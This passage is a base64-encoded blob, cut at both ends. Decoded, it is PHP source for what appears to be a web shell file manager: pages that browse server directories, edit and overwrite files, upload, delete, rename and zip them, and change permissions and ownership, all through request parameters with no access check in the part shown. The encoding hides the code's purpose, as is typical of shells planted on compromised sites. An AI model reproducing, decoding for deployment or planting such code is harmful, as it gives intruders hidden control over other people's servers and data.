owZDJGeVpRQkJaRzlpWlNCSmJXRm5aVkpsWVdSNWNjbGxQQUFBQWQ1SlJFRlVlTnFNVTc5ckZVRVEvdmJ1b2RGRUVrekFJbUJwa1VhYkZQNGxkcGFKaFpYWW0vUmlaV3N2L2hrV0ZnbEJVeVRJZ3lBSUlmZ0lSakh2M3IzOU1lUE03TjNMY2J4QUZ2WjJiMmJuMjIvbW0zWE1qRitITDNZVzdxMjhZU0l3OG1CS29CaWhoaGdDc29PUm90OWQzL3l3ZzNZb3dNWHdOZGUvUHpHbmsydm42UGl0clQrL1BHZU5hZWNnNCtxTlkzRDQzdnkxNkE1d0REZDRBcWcvbmdtcmpsL0dvTjBVNVYxUXF1SFFHM3ErVFBEVmhWd3lCZmZjbVFHSm1TVmZ5Wms3UjNTbmdJNEpLZndESjIrMDV6SWc4Z2JpZXJlVFpSSGhKNUtDTU93REZMamhvQlRuMmcwZ2hhZ2ZLZUlZSkRQRnlpYkpWQnRUUkV3cTYwU3BZdmg1KytQcHdhdEhzeFNtOVFSTFNRcEVWU2Q3L1RZSlViNDlUWDdnenRwampFZmZub1Z3NjYrWXRvdnMxNFlwN0hhS21VWGVYOXJLVW9Nb0xOVzNzcnFJNWZXbjhKZWpyVmtLMFFjcmtGTE9nUzM5eW9LVVFlMjkyV0oxZ3VVSEc4SzJvOEswMG9PMUJUdlhvVzR5YXNjbFVUZ1pZSlk5YUZOZkFUaFg1Q1pSbWN6QVY1Mm9BUG91cEhoV1JJVVVBT295VUlsWVZhQWEvVmJMYnlpWlVpeUZialFGTndpWlFTR2w0SUR5OXNPNVdydHkwUUxLaGRaUHhtZ0djRG84ZWpuK2MvNmVpSzlwb3oxNUt3N0RyL3ZOL3o2VzdxKyswOTEvQVFZQTVtWjhHWUo5SzBBQUFBQUFTVVZPUks1Q1lJST0nLz4gPGEgdGl0bGU9J09wZW4gRGlyZWN0b3J5JyBocmVmPSc/ZD0iLnVybGUoJGZpbGVkaXIpLiInPiIuJGZpbGUuIjwvYT48L3RkPjx0ZD48Y2VudGVyPiIuc3RydG91cHBlcigkdHlwZSkuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRwZXJtLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJG93bmVyLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJGxhc3QuIjwvY2VudGVyPjwvdGQ+PHRkPjxhIGNsYXNzPSdhY3Rpb24nIGhyZWY9Jz9hPXgmcj0iLnVybGUoJGZpbGVkaXIpLiInIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIERpcmVjdG9yeSBbIC8iLmJhc2VuYW1lKCRmaWxlZGlyKS4iIF0gPycpO1wiIHRpdGxlPSdEZWxldGUgRm9sZGVyJz4mIzEwMDA4OzwvYT4gPGEgY2xhc3M9J2FjdGlvbicgaHJlZj0nP2E9YyZyPSIudXJsZSgkZmlsZWRpcikuIicgdGl0bGU9J01vZGlmeSBGb2xkZXInPiYjODQ5OTs8L2E+PC90ZD48L3RyPiI7DQoJCQkJCSRjb3VudF9kaXJzKys7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRyZWFkc1tdPSI8dHIgc29ydHRhYmxlX2N1c3RvbWtleT0nNCc+PHRkPjxjZW50ZXI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGtbXScgdmFsdWU9JyIudXJsZSgkZmlsZWRpcikuIicgLz48L2NlbnRlcj48L3RkPjx0ZD48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUJuUlNUbE1BQUFBQUFBQnVwZ2VSQUFBQkhVbEVRVlI0Mm8yUk1XN0RJQmlGMzQ5OGlIUkpENUpLSHVyTCtDUlZCcCtpMlQxNnRUeW5GMmdPMEtTYjVackJCbDRISERCdUsvV1hBQ0g0ZU85L0NBQUFiZHZpanpMR05FMVRWWlhmWnVIZzZYQ0FRRVNBWlhiT0thWE81N2VpS0c2ZnQ5UHJLUUlrQ1FxRm9JaVFGQkdsRklCNW52TTh0OWFPWDJOZDE4b0R6am5QZ0NEcG4vQkg0emgyWFpkbFdWbVdpVUs0SWdDQm9GTVV6OWVQNnpSTjc1Y0xnRVFoY21UUUlibDcyTzBmOTg2NXFMQUFzVVJBQWdLQkpLRXRnTFhXdnlqTHVGc1RoQ1NzdGI4ckJDYUFRaERZV2dJWjdteU0rVFVCakRIckhsWmNiTVlZazM0Y04wWVNMY2dTK3dMMGZlOVRYRE1iWTMzZlIyQVlCdnlROEwwR2s4TXdSRUJyVGZLZTRUcFR6d2hBclhXaThISTg0aC8xRGZ3STVtaHhKYW1GQUFBQUFFbEZUa1N1UW1DQyc+IDxhIHRpdGxlPSdWaWV3IEZpbGUnIGhyZWY9JyIuJHZpZXcuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+PHRkPjxjZW50ZXI+Ii5zdHJ0b3VwcGVyKCR0eXBlKS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJHBlcm0uIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kb3duZXIuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kbGFzdC4iPC9jZW50ZXI+PC90ZD48dGQ+PGEgY2xhc3M9J2FjdGlvbicgaHJlZj0nP2E9ZSZyPSIudXJsZSgkZmlsZWRpcikuIicgdGl0bGU9J01vZGlmeSBGaWxlJz4mIzg0OTk7PC9hPiA8YSBjbGFzcz0nYWN0aW9uJyBocmVmPSc/YT14JnI9Ii51cmxlKCRmaWxlZGlyKS4iJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBGaWxlbmFtZSBbICIuYmFzZW5hbWUoJGZpbGVkaXIpLiIgXSA/Jyk7XCIgdGl0bGU9J0RlbGV0ZSBGaWxlJz4mIzEwMDA4OzwvYT4gPGEgY2xhc3M9J2FjdGlvbicgaHJlZj0nP2E9ZCZyPSIudXJsZSgkZmlsZWRpcikuIicgdGl0bGU9J0Rvd25sb2FkIEZpbGUnPiYjMTAxNDk7PC9hPjwvdGQ+PC90cj4iOwkJDQoJCQkJCSRjb3VudF9maWxlcysrOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlzb3J0KCRyZWFkcyk7DQoJCSRmaWxlc2RpcnM9IiI7DQoJCWZvcmVhY2goJHJlYWRzIGFzICRyZWFkKQ0KCQl7DQoJCQkkZmlsZXNkaXJzLj0kcmVhZDsNCgkJfQ0KCQlwcmludGYoIjxkaXYgaWQ9J2FjdGlvbic+DQoJCQkJCTx0YWJsZT48dHI+DQoJCQkJCTx0ZD48Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9UE9TVCBhY3Rpb249Jz9kPSVzJz4NCgkJCQkJCTxpbnB1dCBuYW1lPSd3aGF0JyB0eXBlPSd0ZXh0JyAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2ZpbGUnIHZhbHVlPSdOZXcgRmlsZScvPg0KCQkJCQk8L2Zvcm0+PC90ZD4NCgkJCQkJPHRkPjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD1QT1NUIGFjdGlvbj0nP2Q9JXMnPg0KCQkJCQkJPGlucHV0IG5hbWU9J3doYXQnIHR5cGU9J3RleHQnIC8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZGlyZWN0b3J5JyB2YWx1ZT0nTmV3IERpcicvPg0KCQkJCQk8L2Zvcm0+PC90ZD4NCgkJCQkJPHRkPjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD1QT1NUIGFjdGlvbj0nP3g9ZmluZCc+DQoJCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmluZC12YWx1ZScgaWQ9J2ZpbmQtYWN0aW9uJy8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZmluZC1idXR0b24nIHZhbHVlPSdGaW5kJy8+DQoJCQkJCTwvZm9ybT48L3RkPg0KCQkJCQk8dGQ+PGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPVBPU1QgYWN0aW9uPSc/ZD0lcyZ4PXVwbG9hZCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCQkJCQk8aW5wdXQgbmFtZT0nd2hhdCcgdHlwZT0nZmlsZScgY2xhc3M9J2lucHV0ZmlsZScvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbG9hZCcgdmFsdWU9J1VwbG9hZCcvPg0KCQkJCQk8L2Zvcm0+PC90ZD4NCgkJCQkJPC90cj48L3RhYmxlPg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgaWQ9J2hvbWUnPg0KCQkJCQk8Zm9ybSBuYW1lPSdmaWxlcycgbWV0aG9kPVBPU1QgYWN0aW9uPSc/eD1hY3Rpb24nIG9uY2xpY2s9J2NoZWNrQ291bnQoXCJjb3VudFwiKSc+DQoJCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlIHNvcnRhYmxlJz4NCgkJCQkJCQk8dGhlYWQ+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0aCBjbGFzcz0nc29ydHRhYmxlX25vc29ydCc+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGVjay1hbGwnIG9uY2xpY2s9J2NoZWNrQWxsKCknLz48L3RoPg0KCQkJCQkJCQkJPHRoIGNsYXNzPSdzb3J0dGFibGVfbnVtZXJpYyc+TmFtZTwvdGg+DQoJCQkJCQkJCQk8dGg+VHlwZTwvdGg+DQoJCQkJCQkJCQk8dGg+U2l6ZTwvdGg+DQoJCQkJCQkJCQk8dGg+UGVybXM8L3RoPg0KCQkJCQkJCQkJPHRoPk93bmVyOkdyb3VwPC90aD4NCgkJCQkJCQkJCTx0aD5Nb2RpZmllZDwvdGg+DQoJCQkJCQkJCQk8dGg+QWN0LjwvdGg+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJPC90aGVhZD4NCgkJCQkJCQk8dGJvZHk+JXM8L3Rib2R5Pg0KCQkJCQkJCTx0Rm9vdD4NCgkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJPHRkIGNvbHNwYW49JzgnPls8c3BhbiBpZD0nY291bnQnPjA8L3NwYW4+XSBTZWxlY3RlZCB8IERpcidzOiBbJXNdIEZpbGUnczogWyVzXTwvdGQ+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJPC90Rm9vdD4NCgkJCQkJCTwvdGFibGU+DQoJCQkJCQk8c2VsZWN0IG5hbWU9J2FjdGlvbi12YWx1ZSc+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3ppcCc+QXJjaGl2ZSAoemlwKTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J3VuemlwJz5FeHRyYWN0IHRvICh6aXApPC9vcHRpb24+DQoJCQkJCQk8L3NlbGVjdD4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdBY3Rpb24nIG5hbWU9J2FjdGlvbi1idXR0b24nIC8+DQoJCQkJCTwvZm9ybT4NCgkJCQk8L2Rpdj4iLA0KCQkJCXVybGUoJGRpciksDQoJCQkJdXJsZSgkZGlyKSwNCgkJCQl1cmxlKCRkaXIpLA0KCQkJCSRmaWxlc2RpcnMsDQoJCQkJJGNvdW50X2RpcnMsDQoJCQkJJGNvdW50X2ZpbGVzDQoJCSk7DQoJCWNsb3NlZGlyKCRoYW5kbGUpOw0KCX0NCgllbHNlDQoJew0KCQlwcmludCAiPGNlbnRlciBzdHlsZT0nbWFyZ2luLWJvdHRvbToxMHB4Jz48YiBjbGFzcz0nb2ZmJz5DYW4ndCBPcGVuIExvY2F0aW9uPC9iPjwvY2VudGVyPiI7DQoJfQ0KfQ0KDQppZihhbnkoInIiLCRfUkVRVUVTVCkpDQp7DQoJaWYoZmlsZV9leGlzdHModXJsZCgkX1JFUVVFU1RbInIiXSkpKQ0KCXsNCgkJJGZpbGU9c3RydmFsKHVybGQoJF9SRVFVRVNUWyJyIl0pKTsNCgkJJHN0YXR1cz1hbnkoInN0YXR1cyIsJF9TRVNTSU9OKT8kX1NFU1NJT05bJ3N0YXR1cyddOiIiOw0KCQkkYmFjaz1waHBfc2VsZi4iP2Q9Ii51cmxlKCRkaXIpOw0KDQoJCXByaW50ZigiPGRpdiBjbGFzcz0nZGl2aWRlJz4NCgkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtbGVmdCc+DQoJCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUnPg0KCQkJCQkJPHRyPjx0ZD5OYW1lPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQk8dHI+PHRkPlNpemU8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCTx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQk8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJPC90YWJsZT4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtcmlnaHQnPg0KCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlJz4NCgkJCQkJCTx0cj48dGQ+TUlNRTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJPHRyPjx0ZD5Pd25lci9Hcm91cDwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJPHRyPjx0ZD5NRDU8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCTx0cj48dGQ+U0hBMTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvZGl2Pg0KCQkJPC9kaXY+IiwNCgkJCWJhc2VuYW1lKCRmaWxlKSwNCgkJCUdldEZpbGVTaXplKEBmaWxlc2l6ZSgkZmlsZSkpLA0KCQkJR2V0RmlsZVBlcm0oJGZpbGUpLA0KCQkJR2V0RmlsZVRpbWUoJGZpbGUsImNyZWF0ZSIpLA0KCQkJR2V0RmlsZVRpbWUoJGZpbGUsIm1vZGlmeSIpLA0KCQkJR2V0RmlsZVRpbWUoJGZpbGUsImFjY2VzcyIpLA0KCQkJbWltZV9jb250ZW50X3R5cGUoJGZpbGUpLA0KCQkJR2V0RmlsZU93bmVyR3JvdXAoJGZpbGUpLA0KCQkJQG1kNV9maWxlKCRmaWxlKSwNCgkJCUBzaGExX2ZpbGUoJGZpbGUpDQoJCSk7DQoNCgkJaWYoaXNfZmlsZSgkZmlsZSl8fGlzX2xpbmsoJGZpbGUpKQ0KCQl7DQoJCQkkbWVudT1hcnJheSgNCg0KCQkJCSJCYWNrIiAgICAgID0+ICI/YT1iJnI9IiwNCgkJCQkiRWRpdCIgICAgICA9PiAiP2E9ZSZyPSIsDQoJCQkJIlZpZXciICAgICAgPT4gIj9hPXYmcj0iLA0KCQkJCSJDb3B5IiAgICAgID0+ICI/YT1jcCZyPSIsDQoJCQkJIk1vdmUiICAgICAgPT4gIj9hPW12JnI9IiwNCgkJCQkiRG93bmxvYWQiICA9PiAiP2E9ZCZyPSIsDQoJCQkJIkhleGR1bXAiICAgPT4gIj9hPWgmcj0iLA0KCQkJCSJDaG1vZCIgICAgID0+ICI/YT1jJnI9IiwNCgkJCQkiQ2hvd24iICAgICA9PiAiP2E9Y3duJnI9IiwNCgkJCQkiQ2hncnAiICAgICA9PiAiP2E9Y2dwJnI9IiwNCgkJCQkiVG91Y2giICAgICA9PiAiP2E9dCZyPSIsDQoJCQkJIlJlbmFtZSIgICAgPT4gIj9hPXImcj0iLA0KCQkJCSJEZWxldGUiICAgID0+ICI/YT14JnI9Ig0KCQkJKTsNCgkJfQ0KCQllbHNlaWYoaXNfZGlyKCRmaWxlKSkNCgkJew0KCQkJJG1lbnU9YXJyYXkoDQoNCgkJCQkiQmFjayIgICAgICA9PiAiP2E9YiZyPSIsDQoJCQkJIkNobW9kIiAgICAgPT4gIj9hPWMmcj0iLA0KCQkJCSJDaG93biIgICAgID0+ICI/YT1jd24mcj0iLA0KCQkJCSJDaGdycCIgICAgID0+ICI/YT1jZ3Amcj0iLA0KCQkJCSJUb3VjaCIgICAgID0+ICI/YT10JnI9IiwNCgkJCQkiUmVuYW1lIiAgICA9PiAiP2E9ciZyPSIsDQoJCQkJIkRlbGV0ZSIgICAgPT4gIj9hPXgmcj0iDQoJCQkpOw0KCQl9DQoNCgkJJG51PSIiOw0KCQkNCgkJZm9yZWFjaCgkbWVudSBhcyAka2V5ID0+ICR2YWwpDQoJCXsNCgkJCSRpZHhrZXk9c3Vic3RyKCR2YWwsMSwxKTsNCgkJCSRpZHh2YWw9c3Vic3RyKCR2YWwsMyxzdHJwb3MoJHZhbCwnJicpLTMpOw0KCQkJJGFjdGl2ZT1hbnkoJGlkeGtleSwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJGlkeGtleV09PSRpZHh2YWw/ImNsYXNzPSdhY3RpdmUnIjoiIjsNCgkJCWlmKCRrZXk9PSJEZWxldGUiKQ0KCQkJew0KCQkJCSRudS49IjxsaT48YSAiLiRhY3RpdmUuIiBocmVmPSciLiR2YWwudXJsZSgkZmlsZSkuIicgb25jbGljaz1cInJldHVybiBjb25maXJtKCdEZWxldGUgRmlsZW5hbWUgWyAiLmJhc2VuYW1lKCRmaWxlKS4iIF0gPycpO1wiPiIuJGtleS4iPC9hPjwvbGk+IjsNCgkJCX0NCgkJCWVsc2VpZigka2V5PT0iQmFjayIpDQoJCQl7DQoJCQkJJG51Lj0iPGxpPjxhICIuJGFjdGl2ZS4iIGhyZWY9JyIuJGJhY2suIic+Ii4ka2V5LiI8L2E+PC9saT4iOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSRudS49IjxsaT48YSAiLiRhY3RpdmUuIiBocmVmPSciLiR2YWwudXJsZSgkZmlsZSkuIic+Ii4ka2V5LiI8L2E+PC9saT4iOw0KCQkJfQ0KCQl9DQoNCgkJcHJpbnRmKCI8ZGl2IGNsYXNzPSdtZW51Jz4NCgkJCTx1bD4lczwvdWw+DQoJCTwvZGl2PiIsJG51KTsNCg0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J2UnKQ0KCQl7DQoJCQkkc291cmNlPSIiOw0KDQoJCQlpZihmaWxlc2l6ZSgkZmlsZSkgPiA1MjQyODgwKQ0KCQkJew0KCQkJCSRzb3VyY2UuPSJMYXp5IHRvIFJlYWQgbW9yZSB0aGFuIDVNQiBGaWxlcyI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJG9wZW49Zm9wZW4oJGZpbGUsJ3InKTsNCg0KCQkJCWlmKCRvcGVuKSANCgkJCQl7DQoJCQkJCXdoaWxlKCFmZW9mKCRvcGVuKSkgDQoJCQkJCXsNCgkJCQkJCSRzb3VyY2UuPWh0bWxlbnRpdGllcyhmcmVhZCgkb3BlbiwoMTAyNCo0KSkpOw0KCQkJCQl9DQoJCQkJCWZjbG9zZSgkb3Blbik7DQoJCQkJfQ0KCQkJfQ0KDQoJCQlwcmludGYoIjxmb3JtIGNsYXNzPSdmcm1zb3VyY2UnIG1ldGhvZD0ncG9zdCc+DQoJCQkJCTx0ZXh0YXJlYSBpZD0nc291cmNlZm9jdXMnIG5hbWU9J3NvdXJjZWNvZGUnIHJvd3M9JzI1JyBjb2xzPScxMDAnPiVzPC90ZXh0YXJlYT4NCgkJCQkJPGlucHV0IHR5cGU9J1N1Ym1pdCcgdmFsdWU9J1NhdmUgZmlsZScgbmFtZT0nc2F2ZScvPg0KCQkJCQk8bGFiZWw+JXM8L2xhYmVsPg0KCQkJCTwvZm9ybT4iLCRzb3VyY2UsJHN0YXR1cyk7DQoJCQ0KCQkJaWYoYW55KCJzdGF0dXMiLCRfU0VTU0lPTikpIHVuc2V0KCRfU0VTU0lPTlsnc3RhdHVzJ10pOw0KDQoJCQlpZihhbnkoInNhdmUiLCRfUkVRVUVTVCkpDQoJCQl7DQoJCQkJJG5ld19zb3VyY2U9JF9SRVFVRVNUWydzb3VyY2Vjb2RlJ107DQoJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJjaG1vZCIpKSBjaG1vZCgkZmlsZSwwNzU1KTsNCgkJCQkkc291cmNlX2VkaXQ9Zm9wZW4oJGZpbGUsJ3crJyk7DQoJCQkJJHR1bGlzPWZ3cml0ZSgkc291cmNlX2VkaXQsJG5ld19zb3VyY2UpOw0KCQkJCWZjbG9zZSgkc291cmNlX2VkaXQpOw0KCQkJCWlmKCR0dWxpcykNCgkJCQl7DQoJCQkJCSRfU0VTU0lPTlsnc3RhdHVzJ109IkZpbGUgU2F2ZWQgISAiLkdldEZpbGVUaW1lKCRmaWxlLCJtb2RpZnkiKS4iIHwgIi5HZXRGaWxlU2l6ZShmaWxlc2l6ZSgkZmlsZSkpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQkkX1NFU1NJT05bJ3N0YXR1cyddPSJXaG9vcHMsIHNvbWV0aGluZyB3ZW50IHdyb25nLi4uIjsNCgkJCQl9DQoJCQkJaGVhZGVyKCJsb2NhdGlvbjoiLnBocF9zZWxmLiI/YT1lJnI9Ii51cmxlKCRmaWxlKSk7DQoJCQl9DQoJCX0NCg0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J3InKQ0KCQl7DQoJCQlwcmludGYoIjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCc+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25hbWUnIHZhbHVlPSclcycvPg0KCQkJCTxpbnB1dCB0eXBlPSdTdWJtaXQnIHZhbHVlPSdSZW5hbWUnIG5hbWU9J3JlbmFtZScvPg0KCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQk8L2Zvcm0+IixiYXNlbmFtZSgkZmlsZSksJHN0YXR1cyk7DQoNCgkJCWlmKGFueSgic3RhdHVzIiwkX1NFU1NJT04pKSB1bnNldCgkX1NFU1NJT05bJ3N0YXR1cyddKTsNCg0KCQkJaWYoYW55KCJyZW5hbWUiLCRfUkVRVUVTVCkpDQoJCQl7DQoJCQkJJHBhdGg9cGF0aGluZm8odHJpbSgkZmlsZSkpOw0KCQkJCSRuZXduYW1lPSRwYXRoWydkaXJuYW1lJ10uXy50cmltKCRfUkVRVUVTVFsnbmFtZSddKTsNCgkJCQlpZighcmVuYW1lKHRyaW0oJGZpbGUpLCRuZXduYW1lKSkgDQoJCQkJew0KCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSdXaG9vcHMsIHNvbWV0aGluZyB3ZW50IHdyb25nLi4uJzsNCgkJCQl9DQoJCQkJZWxzZSANCgkJCQl7DQoJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109J1JlbmFtZWQgZmlsZSB3aXRoIHN1Y2Nlc3MnOw0KCQkJCX0NCgkJCQloZWFkZXIoImxvY2F0aW9uOiIucGhwX3NlbGYuIj9hPXImcj0iLnVybGUoJG5ld25hbWUpKTsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0nYycpDQoJCXsNCgkJCXByaW50ZigiPGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPSdwb3N0Jz4NCgkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nb2N0YWwnIHZhbHVlPSclcycvPg0KCQkJCTxpbnB1dCB0eXBlPSdTdWJtaXQnIHZhbHVlPSdDaG1vZCcgbmFtZT0nY2htb2QnLz4NCgkJCQk8bGFiZWw+JXM8L2xhYmVsPg0KCQkJPC9mb3JtPiIsc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJGZpbGUpKSwyKSwkc3RhdHVzKTsNCg0KCQkJaWYoYW55KCJzdGF0dXMiLCRfU0VTU0lPTikpIHVuc2V0KCRfU0VTU0lPTlsnc3RhdHVzJ10pOw0KDQoJCQlpZihhbnkoImNobW9kIiwkX1JFUVVFU1QpKQ0KCQkJew0KCQkJCSRvY3RhbD1vY3RkZWMoJF9SRVFVRVNUWydvY3RhbCddKTsNCgkJCQlpZighY2htb2QodHJpbSgkZmlsZSksJG9jdGFsKSkgDQoJCQkJew0KCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSdXaG9vcHMsIHNvbWV0aGluZyB3ZW50IHdyb25nLi4uJzsNCgkJCQl9DQoJCQkJZWxzZSANCgkJCQl7DQoJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109J0NobW9kIGZpbGUgd2l0aCBzdWNjZXNzJzsNCgkJCQl9DQoJCQkJaGVhZGVyKCJsb2NhdGlvbjoiLnBocF9zZWxmLiI/YT1jJnI9Ii51cmxlKCRmaWxlKSk7DQoJCQl9DQoJCX0NCg0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J2N3bicpDQoJCXsNCgkJCSRvd249Jyc7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIA0KCQkJew0KCQkJCSR1c2VyPXBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkeCkpOw0KCQkJCSRvd249JHVzZXJbJ25hbWUnXTsNCgkJCX0NCg0KCQkJcHJpbnRmKCI8Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9J3Bvc3QnPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdvd24nIHZhbHVlPSclcycvPg0KCQkJCTxpbnB1dCB0eXBlPSdTdWJtaXQnIHZhbHVlPSdDaG93bicgbmFtZT0nY2hvd24nLz4NCgkJCQk8bGFiZWw+JXM8L2xhYmVsPg0KCQkJPC9mb3JtPiIsJG93biwkc3RhdHVzKTsNCg0KCQkJaWYoYW55KCJzdGF0dXMiLCRfU0VTU0lPTikpIHVuc2V0KCRfU0VTU0lPTlsnc3RhdHVzJ10pOw0KDQoJCQlpZihhbnkoImNob3duIiwkX1JFUVVFU1QpKQ0KCQkJew0KCQkJCSRvd249JF9SRVFVRVNUWydvd24nXTsNCgkJCQlpZighY2hvd24odHJpbSgkZmlsZSksJG93bikpIA0KCQkJCXsNCgkJCQkgICAgJF9TRVNTSU9OWydzdGF0dXMnXT0nV2hvb3BzLCBzb21ldGhpbmcgd2VudCB3cm9uZy4uLic7DQoJCQkJfQ0KCQkJCWVsc2UgDQoJCQkJew0KCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSdDaG93biBmaWxlIHdpdGggc3VjY2Vzcyc7DQoJCQkJfQ0KCQkJCWhlYWRlcigibG9jYXRpb246Ii5waHBfc2VsZi4iP2E9Y3duJnI9Ii51cmxlKCRmaWxlKSk7DQoJCQl9DQoJCX0NCg0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J2NncCcpDQoJCXsNCgkJCSRncnA9Jyc7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIA0KCQkJew0KCQkJCSRncm91cD1wb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHgpKTsNCgkJCQkkZ3JwPSRncm91cFsnbmFtZSddOw0KCQkJfQ0KDQoJCQlwcmludGYoIjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCc+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2dycCcgdmFsdWU9JyVzJy8+DQoJCQkJPGlucHV0IHR5cGU9J1N1Ym1pdCcgdmFsdWU9J0NoZ3JwJyBuYW1lPSdjaGdycCcvPg0KCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQk8L2Zvcm0+IiwkZ3JwLCRzdGF0dXMpOw0KDQoJCQlpZihhbnkoInN0YXR1cyIsJF9TRVNTSU9OKSkgdW5zZXQoJF9TRVNTSU9OWydzdGF0dXMnXSk7DQoNCgkJCWlmKGFueSgiY2hncnAiLCRfUkVRVUVTVCkpDQoJCQl7DQoJCQkJJGdycD0kX1JFUVVFU1RbJ2dycCddOw0KCQkJCWlmKCFjaGdycCh0cmltKCRmaWxlKSwkZ3JwKSkgDQoJCQkJew0KCQkJCQkkX1NFU1NJT05bJ3N0YXR1cyddPSdXaG9vcHMsIHNvbWV0aGluZyB3ZW50IHdyb25nLi4uJzsNCgkJCQl9DQoJCQkJZWxzZSANCgkJCQl7DQoJCQkJCSRfU0VTU0lPTlsnc3RhdHVzJ109J0NoZ3JwIGZpbGUgd2l0aCBzdWNjZXNzJzsNCgkJCQl9DQoJCQkJaGVhZGVyKCJsb2NhdGlvbjoiLnBocF9zZWxmLiI/YT1jZ3A